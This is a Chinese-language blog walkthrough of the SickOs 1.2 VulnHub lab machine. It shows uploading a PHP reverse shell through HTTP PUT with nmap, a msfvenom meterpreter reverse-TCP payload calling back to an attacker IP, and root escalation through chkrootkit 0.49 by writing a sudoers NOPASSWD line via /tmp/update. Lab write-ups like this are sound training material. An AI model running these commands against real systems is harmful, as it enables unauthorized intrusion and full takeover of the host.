SickOs:1.2

提权辅助工具LinEnum下载:https://download.csdn.net/download/weixin_41082546/11609409
提权辅助工具linuxprivchecker.py下载:https://download.csdn.net/download/weixin_41082546/11609428

 
首先获取目标ip地址,并探测端口
netdiscover -i eth0 -r 192.168.88.1/24
访问web,并查看源码,没有什么有用的东西
 
目录发现
 
 
curl -v -X OPTIONS http://192.168.88.201
curl -v -X OPTIONS http://192.168.88.201/test/
/test/ 目录 支持 put 方法,可以 向 test 目录 put 一个 反弹shell。
直接利用kali 自带的 reverse-shell
修改回连 的ip 地址和端口
nmap -p 80 192.168.88.201 --script http-put --script-args http-put.url='/test/exploit.php',http-put.file='php-reverse-shell.php'
成功上传反弹shell 脚本
开启 本地 侦听
 
反弹 不成功
自己重新生成shell ,再次尝试。
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.174 LPORT=1234 -f raw > exploit3.php
 
nmap -p 80 192.168.88.201 --script http-put --script-args http-put.url='/test/exploit3.php',http-put.file='exploit3.php'
多次反弹失败,百度一下,是防火墙阻止了非常用端口出来,所以我们的1234,333都弹不回来!!
nmap -p 80 192.168.88.201 --script http-put --script-args http-put.url='/test/exploit5.php',http-put.file='php-reverse-shell.php'
第五次尝试
这次终于弹回来了!!!web权限。
ls -la /etc/cron.daily
查看计划任务,发现存在chkrootkit ,版本0.49
searchsploit chkrookit 0.49版本的chkrootkit存在本地提权漏洞
chkrootkit 0.49漏洞原理:chkrootkit有crontab,会定期以root身份执行/tmp/update文件。如果攻击者知道管理员是定期运行chkrootkit(通过查看cron.daily获知),并且对/ tmp(没有挂载noexec)有写访问权限,就可以利用该漏洞获取root权限。
漏洞利用: 在/tmp目录下新建update文件,做我们想让root帮我们做的事(参考百度)
touch update
chmod +x update
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > update
sudo su root 获得root权限
 
第二种方法,利用我们 msf 进行利用
上传 meterpreter 反弹 shell ,反弹端口 443 ,获得session,
再获得session前提下使用 exploit/unix/local/chkrootkit 模块可以获得ro

靶机-SickOs 1.2 Walkthrough的更多相关文章

  1. 靶机-BTRSys 2.1 Walkthrough

    BTRSys 2.1 https://www.vulnhub.com/entry/btrsys-v21,196/ 参考:https://www.jianshu.com/p/9813095ce04d 提 ...

  2. OSCP Learning Notes - Capstone(4)

    SickOS 1.2 Walkthrough Preparation: Down load the SickOS virtual machines from the following website ...

  3. 靶机-droopyCTF Walkthrough

    droopyCTF https://www.vulnhub.com/?q=droopy&sort=date-des&type=vm CTF镜像合集:https://www.vulnhu ...

  4. 11. CTF综合靶机渗透(四)

    运行环境 Virtualbox (二选一) Vnware Workstation player 通关提示 Enumeration is key Try Harder Look in front of ...

  5. AI:WEB:1 Walkthrough

    AI: Web: 1 Vulnhub Walkthrough靶机下载:https://www.vulnhub.com/entry/ai-web-1,353/测试方法:    Nmap网络扫描    浏 ...

  6. Walkthrough: Arranging Controls on Windows Forms Using Snaplines

    https://msdn.microsoft.com/en-us/library/t5b5kc41(v=vs.110).aspx Spacing and Aligning Controls Using ...

  7. Walkthrough: Creating and Using a Dynamic Link Library (C++)

    Original Link: http://msdn.microsoft.com/zh-cn/library/ms235636.aspx Following content is only used ...

  8. Burp Suite Walkthrough(英文版)

    Burp Suite is one of the best tools available for web application testing. Its wide variety of featu ...

  9. Burp Suite Walkthrough

    Burp Suite is one of the best tools available for web application testing. Its wide variety of featu ...

随机推荐

  1. Javascript中那些你不知道的事之-- false、0、null、undefined和空字符串

    话不多说直接进入主题:(如果有写的不对的地方欢迎指正) 我们先来看看他们的类型分别是什么: typeof类型检测结果 结论:false是布尔类型对象,0是数字类型对象,null是object对象,un ...

  2. eslint 错误提示

    “Missing semicolon.” : “缺少分号.”, “Use the function form of \”use strict\”.” : “使用标准化定义function.”, “Un ...

  3. P4556 [Vani有约会]雨天的尾巴 (线段树合并)

    P4556 [Vani有约会]雨天的尾巴 题意: 首先村落里的一共有n座房屋,并形成一个树状结构.然后救济粮分m次发放,每次选择两个房屋(x,y),然后对于x到y的路径上(含x和y)每座房子里发放一袋 ...

  4. 牛客多校第三场 F Planting Trees

    牛客多校第三场 F Planting Trees 题意: 求矩阵内最大值减最小值大于k的最大子矩阵的面积 题解: 矩阵压缩的技巧 因为对于我们有用的信息只有这个矩阵内的最大值和最小值 所以我们可以将一 ...

  5. IdentityServer4 sign-in

    原文地址 Sign-in IdentityServer 代表 user 分配token之前,user必须登录IdentityServer Cookie authentication 使用 cookie ...

  6. HDU3669 Aragorn's Story 树链剖分 点权

    HDU3669 Aragorn's Story 树链剖分 点权 传送门:http://acm.hdu.edu.cn/showproblem.php?pid=3966 题意: n个点的,m条边,每个点都 ...

  7. Cisco DNA网络POC

    角色名词解释 拓扑图 集成ISE

  8. Qt串行化的输入和输出(使用QDataStream读写QByteArray,对QIODevice直接起作用)

    参考https://lug.ustc.edu.cn/sites/qtguide/ 今天看了一个介绍Qt串行化的介绍,感觉很受益,就记录了下来. 串行化(Serialization)是计算机科学中的一个 ...

  9. resin部署安装

    Resin是CAUCHO公司的产品,是一个非常流行的application server,对servlet和JSP提供了良好的支持,性能也比较优良,resin自身也是采用JAVA语法开发,功能近似于t ...

  10. unity3D 自定义公告牌

    前言 有时候我们希望公告牌跟随镜头旋转永远平行面向屏幕,同时跟随镜头缩放缩放大小不变(镜头远离物体,正常物体视觉效果变小,但公告牌视觉大小比例不变),或者跟随镜头缩放变化,本文记录C#脚本的两种实现方 ...